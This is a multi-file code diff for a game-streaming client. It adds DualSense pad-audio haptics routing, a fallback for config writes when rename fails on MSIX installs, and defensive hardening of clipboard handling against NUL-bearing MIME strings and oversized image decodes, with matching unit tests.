// set (0 for non-tier-A): wire indices are reused within a connection, so
// a tier-A slot that closes must not leave its bits behind for the next
// pad on the same index (the set_rumble_quirks rule).
c.set_pad_audio_caps(index, slot.audio_caps);
send(
c,
InputKind::GamepadArrival,
@@ -1203,6 +1267,27 @@ impl Worker {
};
c.set_rumble_quirks(index as u16, quirks);
}
if slot.audio_caps != 0 {
if slot.audio_caps & 0x01 != 0 {
// Tier-A haptics activation: the SDL disable-bit trap. SDL's DS5
// driver sets ucEnableBits1 0x01|0x02 ("enable rumble emulation" +
// "disable audio haptics") whenever its rumble path runs — which
// would MUTE the voice coils the 0xD1 stream drives. One effects
// packet with those bits CLEARED puts the pad back on audio haptics
// ("Leaving emulated rumble bits off will restore audio haptics" —
// SDL_hidapi_ps5.c); wire rumble for this slot is suppressed in
// render_feedback so SDL never re-arms them.
let _ = slot.pad.send_effect(&Ds5Feedback::audio_haptics_packet());
}
// Hand the pad to the session's renderer worker. Windows correlation
// needs the HID interface path; Linux matches the sink by signature.
crate::pad_audio::register_tier_a(index, slot.pad.path());
tracing::info!(
index,
caps = slot.audio_caps,
"tier-A DualSense: pad-audio render caps declared"
);
}
tracing::info!(
id,
index,
@@ -1216,6 +1301,35 @@ impl Worker {
}
}
/// This pad's pad-audio render capabilities (the bits [`NativeClient::set_pad_audio_caps`]
/// takes): the settings prefs for a tier-A pad — a physical DualSense/Edge (by VID:PID,
/// never the DECLARED kind: the stream renders on the controller in the user's hands) on
/// a WIRED connection — and `0` for everything else (tier B/C are out of scope). Wired
/// comes from `SDL_GetGamepadConnectionState`; when SDL answers Unknown, the pad's 4-ch
/// audio sibling existing is the fallback signal (Bluetooth exposes no audio device).
fn pad_audio_caps_for(&self, id: u32, pad: &sdl3::gamepad::Gamepad) -> u8 {
if self.pad_audio_prefs == 0 {
return 0; // nothing wanted — skip the (possibly probing) wired check entirely
}
let jid = sdl3::sys::joystick::SDL_JoystickID(id);
let vid = self.subsystem.vendor_for_id(jid).unwrap_or(0);
let pid = self.subsystem.product_for_id(jid).unwrap_or(0);
if !crate::pad_audio::is_tier_a_ds5(vid, pid, true) {
return 0; // not a DualSense/Edge — no wired check needed
}
use sdl3::joystick::ConnectionState;
let wired = match pad.connection_state() {
Ok(ConnectionState::Wired) => true,
Ok(ConnectionState::Wireless) => false,
_ => crate::pad_audio::wired_audio_sibling(pad.path().as_deref()),
};
if crate::pad_audio::is_tier_a_ds5(vid, pid, wired) {
self.pad_audio_prefs
} else {
0
}
}
/// Flush a slot's held wire state (so nothing sticks down host-side) and drop it — closing
/// the SDL handle. The flush only emits wire events, so it is safe even when the device is
/// already gone (unplug).
@@ -1233,6 +1347,11 @@ impl Worker {
send(&c, InputKind::GamepadRemove, 0, 0, self.slots[i].index);
}
let slot = self.slots.remove(i);
if slot.audio_caps != 0 {
// Take the pad back from the pad-audio renderer (its device-gone path then
// re-correlates — and finds nothing until a tier-A pad registers again).
crate::pad_audio::unregister_tier_a(slot.index);
}
tracing::info!(
id = slot.id,
index = slot.index,
@@ -1654,6 +1773,7 @@ impl Worker {
set_valve_hidapi(false);
}
}
Ok(Ctl::PadAudioPrefs(bits)) => self.pad_audio_prefs = bits & 0x03,
Ok(Ctl::MenuMode(on)) => {
self.menu_mode = on;
if on {
@@ -1966,6 +2086,20 @@ impl Worker {
// first; the physical silence backstop is in `close_slot_at`).
while let Ok(cmd) = connector.next_rumble_command(Duration::ZERO) {
if let Some(slot) = self.slots.iter_mut().find(|s| s.index as u16 == cmd.pad) {
// The SDL disable-bit trap: ANY SDL rumble write sets ucEnableBits1
// 0x01|0x02, muting the very voice coils the 0xD1 haptics stream drives —
// so a slot with tier-A haptics active never issues wire rumble (the stream
// carries the feedback; the game's rumble is in its haptics mix).
if slot.audio_caps & 0x01 != 0 {
if !slot.rumble_suppressed_logged {
slot.rumble_suppressed_logged = true;
tracing::info!(
pad = slot.index,
"wire rumble suppressed — the pad-audio haptics stream carries feedback"
);
}
continue;
}
Self::issue_rumble(slot, cmd.low, cmd.high, cmd.backstop_ms);
}
}
@@ -2003,13 +2137,27 @@ impl Worker {
.pad
.send_effect(&Ds5Feedback::trigger_packet(which, effect));
}
// The audio-control region of a DS5 output report a game wrote host-side
// (volumes + routing; the SAMPLES ride 0xD1) — folded back into the physical
// pad's effects packet, but only where a tier-A renderer is actually live
// (`audio_caps`): replaying speaker volumes at a pad whose audio device
// nothing streams to would just mute/blast a future session's start state.
// Non-tier-A pads keep dropping it (the pre-pad-audio behaviour).
HidOutput::AudioCtl { flags, raw, .. } if is_ds && slot.audio_caps != 0 => {
let _ = slot
.pad
.send_effect(&Ds5Feedback::audio_ctl_packet(flags, &raw));
}
// Deliberately unhandled, listed rather than left to a bare `_` so a new
// variant cannot join them silently: adaptive triggers exist only on a
// DualSense, and the trackpad-haptic / raw-passthrough planes are DS-specific
// and carried by `send_effect` above when the pad is one.
// and carried by `send_effect` above when the pad is one. `AudioCtl` lands here
// only when the guarded arm above declined it — a non-DualSense pad, or one with
// no live tier-A renderer — which is the pre-pad-audio behaviour: drop it.
HidOutput::Trigger { .. }
| HidOutput::TrackpadHaptic { .. }
| HidOutput::HidRaw { .. } => {}
| HidOutput::HidRaw { .. }
| HidOutput::AudioCtl { .. } => {}
}
}
}
@@ -2048,6 +2196,9 @@ fn hidout_pad(h: &HidOutput) -> u8 {
| HidOutput::Trigger { pad, .. }
| HidOutput::TrackpadHaptic { pad, .. }
| HidOutput::HidRaw { pad, .. } => *pad,
// AudioCtl's pad is the plane's only u16. `HidOutput::decode` rejects anything at or
// above MAX_PADS (B27), so by the time one reaches here the narrowing is lossless.
HidOutput::AudioCtl { pad, .. } => *pad as u8,
}
}
@@ -2075,6 +2226,7 @@ impl Worker {
system_forward: true,
guide_gesture: false,
synthetic_ups: Vec::new(),
pad_audio_prefs: 0,
attached: None,
escape_tx,
disconnect_tx,
@@ -2520,6 +2672,44 @@ mod slot_tests {
}),
6
);
// AudioCtl's wire pad is u16; the index space is 0..MAX_PADS end to end.
assert_eq!(
hidout_pad(&HidOutput::AudioCtl {
pad: 7,
flags: 0,
raw: [0; 6]
}),
7
);
}
/// The AudioCtl fold: the 6 raw bytes (DS5 report 0x02 bytes 5..=10) land at effect-struct
/// offsets 4..=9, the report's audio-valid flags (AudioCtl.flags bits1..4) come back as
/// p[0] bits 4..7, and the rumble-emulation / disable-audio-haptics bits (p[0] bits 0/1)
/// stay CLEAR — setting either would mute the voice coils the 0xD1 stream drives.
#[test]
fn audio_ctl_folds_report_bytes_into_effect_offsets() {
let raw = [0x50, 0x60, 0x70, 0x05, 0x11, 0x22];
// flags 0b1_0111: haptics-select (bit0) + audio-valid bits 1/2/4 of the condensed form.
let p = Ds5Feedback::audio_ctl_packet(0b1_0111, &raw);
assert_eq!(&p[4..10], &raw, "report bytes 5..=10 → struct 4..=9");
// bits1..4 (0b1011) → flag0 bits 4..7.
assert_eq!(p[0], 0b1011_0000);
assert_eq!(
p[0] & 0x03,
0,
"haptics-select must NOT replay into p[0] bits 0/1"
);
// Nothing else is touched: no trigger/LED enable bits, no stray bytes.
assert!(p[1..4].iter().all(|&b| b == 0));
assert!(p[10..].iter().all(|&b| b == 0));
// No audio-valid flags condenses to no enable bits (raw still carried verbatim).
let p = Ds5Feedback::audio_ctl_packet(0b0_0001, &raw);
assert_eq!(p[0], 0);
assert_eq!(&p[4..10], &raw);
// The tier-A activation packet is the all-clear: every enable bit off — per
// SDL_hidapi_ps5.c, leaving the emulated-rumble bits off restores audio haptics.
assert_eq!(Ds5Feedback::audio_haptics_packet(), [0u8; 47]);
}
}
+5
View File
@@ -47,6 +47,11 @@ pub mod os;
// Client settings profiles: the override catalog + the one connect-time resolver
// (design/client-settings-profiles.md §4). Sits beside `trust`, which owns the host records
// the bindings live on.
// Pad audio (the 0xD1 plane): DualSense voice-coil haptics + speaker rendered on the wired
// physical pad's own 4-ch audio device — correlation, the per-session renderer worker, and
// the tier-A pad registry the gamepad worker feeds it through.
#[cfg(any(target_os = "linux", windows))]
pub mod pad_audio;
#[cfg(any(target_os = "linux", windows))]
pub mod profiles;
#[cfg(any(target_os = "linux", windows))]
+14
View File
@@ -66,6 +66,20 @@ pub struct GameEntry {
/// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it.
#[serde(default)]
pub platform: Option<String>,
/// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens
/// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these
/// separately; one that doesn't renders them as ordinary tiles, which is the intended
/// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown
/// future value must never fail the whole library decode.
#[serde(default)]
pub role: Option<String>,
}
impl GameEntry {
/// Whether this entry opens a launcher rather than a game.
pub fn is_launcher(&self) -> bool {
self.role.as_deref() == Some("launcher")
}
}
/// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet").
File diff suppressed because it is too large Load Diff
+35
View File
@@ -44,6 +44,14 @@ pub struct SessionParams {
/// Run the uplink through the platform's echo cancellation ([`Settings::echo_cancel`]).
/// Ignored when `mic_enabled` is false; `PUNKTFUNK_NO_AEC=1` overrides it off.
pub echo_cancel: bool,
/// Render the host's per-pad DualSense voice-coil haptics stream (0xD1 kind 0) on a wired
/// physical DualSense ([`crate::trust::Settings::pad_haptics`]). With `pad_speaker` it
/// gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the pad-audio renderer thread.
pub pad_haptics: bool,
/// Where the DualSense built-in-speaker stream (0xD1 kind 1) goes: `"pad"` | `"mix"` |
/// `"off"` ([`crate::trust::Settings::pad_speaker`]; `"mix"` is a TODO that renders as
/// off — see [`crate::pad_audio::speaker_active`]).
pub pad_speaker: String,
/// Share the clipboard with this host (the per-host `KnownHost::clipboard_sync`). The
/// bridge additionally needs the host to advertise `HOST_CAP_CLIPBOARD`.
pub clipboard: bool,
@@ -356,6 +364,11 @@ fn pump(
);
}
}
// Pad audio (0xD1): advertise only when the settings could render a stream — the per-pad
// tier-A detection at slot open (gamepad.rs) still decides which pads declare render caps
// on their arrivals, so this bit alone changes nothing without a wired DualSense.
let pad_speaker_on = crate::pad_audio::speaker_active(&params.pad_speaker);
let pad_audio_on = params.pad_haptics || pad_speaker_on;
let connector = match NativeClient::connect(
&params.host,
params.port,
@@ -379,6 +392,11 @@ fn pump(
0
}) | (if params.phase_lock {
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
} else {
0
// PAD_AUDIO: the embedder can render per-pad DualSense haptics/speaker (see above).
}) | (if pad_audio_on {
punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
} else {
0
}),
@@ -501,6 +519,20 @@ fn pump(
// app-lifetime service's job (the UI attaches it on Connected). Audio runs on its own
// thread (one puller per plane), blocking on the audio queue like the Apple client.
let audio_thread = spawn_audio(connector.clone(), stop.clone());
// Pad audio (0xD1): its own drain thread (that plane's single consumer), spawned whenever
// the settings could render. The output device is opened LAZILY once frames actually
// arrive — which only happens after a tier-A pad declared render caps on its arrival — so
// a session without a wired DualSense costs one idle 10 ms poll loop.
let pad_audio_thread = pad_audio_on
.then(|| {
crate::pad_audio::spawn(
connector.clone(),
stop.clone(),
params.pad_haptics,
pad_speaker_on,
)
})
.flatten();
// The shared clipboard (design/clipboard-and-file-transfer.md §5): its own thread, since
// `next_clip` blocks and the OS clipboard calls can wait on other apps. Returns straight
// away when the host has no clipboard capability, so spawning is unconditional.
@@ -1066,6 +1098,9 @@ fn pump(
if let Some(t) = audio_thread {
let _ = t.join(); // exits within its 100 ms pull timeout once `stop` is set
}
if let Some(t) = pad_audio_thread {
let _ = t.join(); // exits within its 10 ms pull timeout once `stop` is set
}
if let Some(t) = clipboard_thread {
let _ = t.join(); // exits within its next_clip wait once `stop` is set
}
+245 -9
View File
@@ -91,22 +91,131 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) {
let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600));
}
/// A sibling temp path unique to this process. The stores below have five whole-file writers
/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of
/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one
/// process can rename the OTHER's half-written bytes over the target. The pid keeps each
/// writer on its own scratch file; the rename below removes it, so a leftover only survives a
/// hard kill.
fn temp_sibling(path: &Path) -> PathBuf {
let mut name = path.file_name().unwrap_or_default().to_os_string();
name.push(format!(".tmp-{}", std::process::id()));
path.with_file_name(name)
}
/// Write a config file the safe way: a sibling temp file, then a rename over the target. A
/// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate
/// and the last byte leaves an empty/half file — and these stores are what a client needs to
/// find its hosts at all. Rename is atomic within a directory on both Unix and Windows
/// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a
/// torn one. Same discipline as the host's `session_settings.rs`.
///
/// **But the rename is not always available, and losing the write is far worse than a torn
/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the
/// container's AppData virtualization before it reaches the filesystem — and when the package
/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"),
/// Windows stores that redirected AppData on the *package's* volume, under
/// `D:\WpSystem\<SID>\AppData\`. The literal path we name still says `C:\Users\…`, so a rename
/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with
/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails
/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why
/// such an install starts, streams and pairs happily while every setting and profile silently
/// evaporates (field report 2026-08-05: "it's in read-only mode").
///
/// So a failed rename falls back to writing the target in place. That is exactly what the
/// identity files already do a few lines up — and those demonstrably work on the affected
/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that
/// one write and nothing else: the temp+rename stays the normal route everywhere it works.
///
/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft
/// documents a single private-location-first resolution order for both, so whichever layer a
/// write lands in is the layer the next read finds. The fallback still verifies by reading
/// back: a silent write is the exact bug being fixed here, and this path only runs on an
/// install that has already proven it does something unusual.
pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
let tmp = path.with_extension("json.tmp");
std::fs::write(&tmp, bytes)?;
match std::fs::rename(&tmp, path) {
Ok(()) => Ok(()),
Err(e) => {
// Don't leave the temp behind to confuse the next writer (or a backup tool).
let _ = std::fs::remove_file(&tmp);
Err(e)
let tmp = temp_sibling(path);
let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path));
let Err(e) = atomic else {
store_health::clear();
return Ok(());
};
// Don't leave the temp behind to confuse the next writer (or a backup tool).
let _ = std::fs::remove_file(&tmp);
match std::fs::write(path, bytes) {
Ok(()) => {
tracing::warn!(
path = %path.display(),
error = %e,
"atomic replace unavailable in this install; wrote the config in place instead",
);
// Read it straight back. This whole bug was a write that reported success and
// vanished, so the fallback does not get to claim success on the strength of an
// `Ok(())` alone — on the one layered filesystem we know we run on, that is the
// failure mode to be paranoid about. Only on the degraded path, so the normal
// route pays nothing.
match std::fs::read(path) {
Ok(back) if back == bytes => {
store_health::clear();
Ok(())
}
Ok(_) => {
let e = std::io::Error::other(
"the file read back different from what was just written",
);
store_health::record(path, &e);
Err(e)
}
Err(reread) => {
store_health::record(path, &reread);
Err(reread)
}
}
}
// Both routes are gone: the store really is unwritable. Report the direct write's
// error — it describes the actual permission/space problem, where the rename's may
// only say the two paths landed on different volumes.
Err(direct) => {
store_health::record(path, &direct);
Err(direct)
}
}
}
/// Whether the config store is accepting writes, so a front-end can *say so* when it is not.
///
/// Every persistence call site in this crate is deliberately fire-and-forget — a failed
/// settings write must never take a stream down — which historically meant a client whose
/// store was unwritable looked completely normal: toggles moved, profiles appeared, and
/// nothing survived a restart. The field report that produced this module had no log file to
/// send either, so there was no signal anywhere. Recording the last failure centrally lets the
/// UI surface it without unpicking ~15 `let _ = …save()` call sites.
pub mod store_health {
use std::path::Path;
use std::sync::Mutex;
static LAST_ERROR: Mutex<Option<String>> = Mutex::new(None);
pub(crate) fn record(path: &Path, err: &std::io::Error) {
let msg = format!("{}: {err}", path.display());
tracing::error!(store = %path.display(), error = %err, "cannot persist client config");
if let Ok(mut slot) = LAST_ERROR.lock() {
*slot = Some(msg);
}
}
pub(crate) fn clear() {
if let Ok(mut slot) = LAST_ERROR.lock() {
*slot = None;
}
}
/// The most recent failure to persist a config file, if the last attempt failed.
///
/// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails
/// every file, so this latches for as long as the problem lasts and goes quiet the moment
/// any write gets through.
pub fn last_error() -> Option<String> {
LAST_ERROR.lock().ok().and_then(|s| s.clone())
}
}
@@ -1024,6 +1133,21 @@ pub struct Settings {
/// `PUNKTFUNK_AUDIO_SOURCE`).
#[serde(default)]
pub mic_device: String,
/// Render the host's per-pad DualSense voice-coil haptics stream (the 0xD1 plane, kind 0)
/// on a WIRED physical DualSense's own audio device (tier A — Bluetooth pads expose no
/// audio device). Gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the per-pad arrival
/// capability bit; wire rumble is suppressed for a pad whose haptics stream is live (the
/// stream carries the feedback — see `gamepad.rs`, the SDL disable-bit trap). Default ON:
/// the capable-and-agreed negotiation means it changes nothing without a capable host AND
/// a wired DS5. `default` so pre-existing stores load with it on.
#[serde(default = "default_true")]
pub pad_haptics: bool,
/// Where the DualSense built-in-speaker stream (0xD1 kind 1) is rendered: `"pad"` (default
/// — the physical pad's own speaker), `"mix"` (fold it into the main stream audio — a
/// declared TODO that renders as `"off"` today; see `pad_audio::speaker_active`), or
/// `"off"`. `default` so pre-existing stores load as `"pad"`.
#[serde(default = "default_pad_speaker")]
pub pad_speaker: String,
/// Match-window resolution policy (design/midstream-resolution-resize.md D1): the
/// stream mode follows the session window — the connect asks for the window's pixel
/// size and a mid-session resize renegotiates the host's virtual display + encoder
@@ -1071,6 +1195,10 @@ fn default_true() -> bool {
true
}
fn default_pad_speaker() -> String {
"pad".into()
}
impl Settings {
/// The stats-overlay tier, resolving pre-tier stores: an old `show_stats = false`
/// reads as Off, everything else as Normal (≈ what the pre-tier overlay showed).
@@ -1179,6 +1307,8 @@ impl Default for Settings {
invert_scroll: false,
speaker_device: String::new(),
mic_device: String::new(),
pad_haptics: true,
pad_speaker: "pad".into(),
match_window: false,
last_window_w: 0,
last_window_h: 0,
@@ -1919,6 +2049,7 @@ mod tests {
/// discipline all three client stores now share.
#[test]
fn write_atomic_replaces_and_cleans_up() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-test-{}",
std::time::SystemTime::now()
@@ -1932,7 +2063,112 @@ mod tests {
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}");
write_atomic(&p, b"{\"a\":2}").unwrap();
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}");
assert!(!p.with_extension("json.tmp").exists());
assert!(!temp_sibling(&p).exists());
// Nothing else in the directory either — the scratch file is gone, not renamed aside.
let left: Vec<_> = std::fs::read_dir(&dir)
.unwrap()
.filter_map(|e| e.ok().map(|e| e.file_name()))
.collect();
assert_eq!(left, vec![std::ffi::OsString::from("store.json")]);
let _ = std::fs::remove_dir_all(&dir);
}
/// `store_health` is process-global, so the two tests that read it must not run at the same
/// time — one's successful write clears the other's recorded failure. Nothing else in the
/// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed.
fn store_health_lock() -> std::sync::MutexGuard<'static, ()> {
static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
LOCK.lock().unwrap_or_else(|e| e.into_inner())
}
/// Two processes saving at once must not share one scratch file — the pid keeps them apart.
/// (Same-process, so this only proves the name varies with the pid, not the interleaving.)
#[test]
fn temp_sibling_is_per_process_and_a_sibling() {
let p = Path::new("/tmp/pf/client-windows-settings.json");
let t = temp_sibling(p);
assert_eq!(t.parent(), p.parent());
assert_eq!(
t.file_name().unwrap().to_str().unwrap(),
format!("client-windows-settings.json.tmp-{}", std::process::id())
);
// Must not collide with the store itself, nor look like one to `load()`.
assert_ne!(t, p.to_path_buf());
}
/// **The fix itself.** When the temp+rename route is unavailable, the bytes must still
/// reach the target — that is the difference between the field's "read-only mode" and a
/// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling
/// path so the temp leg cannot be written; the field's install fails one step later, at
/// the rename, but both funnel into the same fallback, which is what this pins.
#[test]
fn the_atomic_route_failing_falls_back_to_an_in_place_write() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-inplace-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
let p = dir.join("store.json");
std::fs::write(&p, b"{\"old\":true}").unwrap();
// Block the scratch path, so the atomic route cannot complete.
std::fs::create_dir_all(temp_sibling(&p)).unwrap();
assert!(temp_sibling(&p).is_dir());
// The write must still report success AND actually be readable back — a silent
// `Ok(())` that lost the bytes is the bug, not the fix.
write_atomic(&p, b"{\"new\":true}").unwrap();
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}");
// Degraded, but not broken: nothing to warn the user about.
assert_eq!(store_health::last_error(), None);
let _ = std::fs::remove_dir_all(&dir);
}
/// The other end: when the in-place fallback ALSO fails, the error must surface rather
/// than be swallowed, because at that point nothing the user does on the page will stick.
#[test]
fn a_failed_rename_still_persists_the_write() {
let _guard = store_health_lock();
let dir = std::env::temp_dir().join(format!(
"pf-client-core-fallback-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
// Sanity: the healthy path reports a healthy store.
let ok = dir.join("store.json");
write_atomic(&ok, b"{}").unwrap();
assert_eq!(store_health::last_error(), None);
// Now the unwritable case: a directory in the target's place defeats BOTH the rename
// and the in-place write, so the error must surface instead of being swallowed.
let blocked = dir.join("blocked.json");
std::fs::create_dir_all(&blocked).unwrap();
std::fs::write(blocked.join("occupant"), b"x").unwrap();
assert!(write_atomic(&blocked, b"{\"a\":1}").is_err());
let reported = store_health::last_error().expect("an unwritable store must be reported");
assert!(
reported.contains("blocked.json"),
"the report names the store: {reported}"
);
// No scratch file left behind by the failed attempt.
assert!(!temp_sibling(&blocked).exists());
// And a later success clears it, so the UI stops warning once the store recovers.
write_atomic(&ok, b"{\"a\":2}").unwrap();
assert_eq!(store_health::last_error(), None);
assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}");
let _ = std::fs::remove_dir_all(&dir);
}
}
+6 -5
View File
@@ -270,7 +270,11 @@ fn load_floor(path: &Path, channel: &str) -> u64 {
.unwrap_or(0)
}
/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it.
/// Raise (never lower) the floor, through the crate's one config writer — this used to
/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed
/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install
/// where the rename cannot work the floor silently never rose and a declined update came
/// back forever.
fn store_floor(path: &Path, channel: &str, serial: u64) {
let mut file: FloorFile = std::fs::read(path)
.ok()
@@ -287,10 +291,7 @@ fn store_floor(path: &Path, channel: &str, serial: u64) {
if let Some(dir) = path.parent() {
let _ = std::fs::create_dir_all(dir);
}
let tmp = path.with_extension("json.tmp");
if std::fs::write(&tmp, &bytes).is_ok() {
let _ = std::fs::rename(&tmp, path);
}
let _ = crate::trust::write_atomic(path, &bytes);
}
// ---------------------------------------------------------------- check
+61 -1
View File
@@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
out
}
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
///
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
#[cfg(target_os = "linux")]
fn valid_passthrough_mime(m: &str) -> bool {
let Some((ty, rest)) = m.split_once('/') else {
return false;
};
!ty.is_empty()
&& !rest.is_empty()
&& m.len() <= 255
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
// any non-ASCII byte.
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
}
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
@@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
WIRE_PNG => push("image/png"),
WIRE_JPEG => push("image/jpeg"),
WIRE_GIF => push("image/gif"),
other => push(other),
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
// so a single interior NUL turns one control message into a host clipboard panic
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
// nothing upstream removes it. Validate here, at the boundary where the value stops
// being ours and becomes libwayland's.
other if valid_passthrough_mime(other) => push(other),
other => {
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
}
}
}
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
@@ -389,6 +417,38 @@ mod tests {
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
}
/// One control message must not be able to panic the host clipboard coordinator
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
#[test]
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
assert!(!valid_passthrough_mime("image/webp\0"));
assert!(!valid_passthrough_mime("\0"));
assert!(!valid_passthrough_mime("image/\0webp"));
// Other control bytes and whitespace are refused for the same reason.
assert!(!valid_passthrough_mime("image/web\np"));
assert!(!valid_passthrough_mime("image/web p"));
assert!(!valid_passthrough_mime("image/web\tp"));
// Shapes that are not a MIME type at all.
assert!(!valid_passthrough_mime(""));
assert!(!valid_passthrough_mime("noslash"));
assert!(!valid_passthrough_mime("/nosubtype"));
assert!(!valid_passthrough_mime("notype/"));
assert!(!valid_passthrough_mime(&format!(
"image/{}",
"x".repeat(300)
)));
// Legitimate uncanonicalized MIMEs still pass through.
assert!(valid_passthrough_mime("image/webp"));
assert!(valid_passthrough_mime("application/x-custom+json"));
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
// End to end: the offer list is built without the malformed entry, and does not panic.
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
assert_eq!(offers, vec!["image/png".to_string()]);
}
#[test]
fn pick_wayland_mime_prefers_canonical() {
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
+21 -1
View File
@@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
let img = image::load_from_memory(bytes).ok()?;
// Bound the DECODE, not just the result.
//
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
// review L-9). Limits applied here make the allocation refuse instead.
//
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
let mut limits = image::Limits::default();
limits.max_image_width = Some(32767);
limits.max_image_height = Some(32767);
limits.max_alloc = Some(256 * 1024 * 1024);
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
.with_guessed_format()
.ok()?;
let mut reader = reader;
reader.limits(limits);
let img = reader.decode().ok()?;
let rgba = img.to_rgba8();
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
if w == 0 || h == 0 || w > 32767 || h > 32767 {
+52 -2
View File
@@ -24,14 +24,20 @@ const RENEW_EVERY: Duration = Duration::from_millis(1000);
/// bundles rumble + lightbar + player-LEDs + adaptive-triggers into one report, so a pad that is
/// merely *rumbling* re-sends its (unchanged) lightbar / LED / trigger state on every output report.
/// The managers already dedup rumble; this does the same for the rich [`HidOutput`] feedback so the
/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger`) is deduped by
/// value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must fire).
/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger` / `AudioCtl`)
/// is deduped by value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must
/// fire).
#[derive(Clone, Default)]
pub struct HidoutDedup {
led: Option<(u8, u8, u8)>,
player_leds: Option<u8>,
/// Last-forwarded adaptive-trigger effect per side: `[0]` = L2, `[1]` = R2.
trigger: [Option<Vec<u8>>; 2],
/// Last-forwarded audio-control state (`flags` + the raw volume/routing bytes).
audio_ctl: Option<(u8, [u8; 6])>,
/// Once-per-pad-lifetime field-diagnosis flag: set after the first forwarded `AudioCtl`
/// carrying the haptics-select bit was logged (cleared with the rest on (re)plug).
haptics_select_logged: bool,
/// When anything was last put on the wire for this pad. `None` = nothing latched yet, so
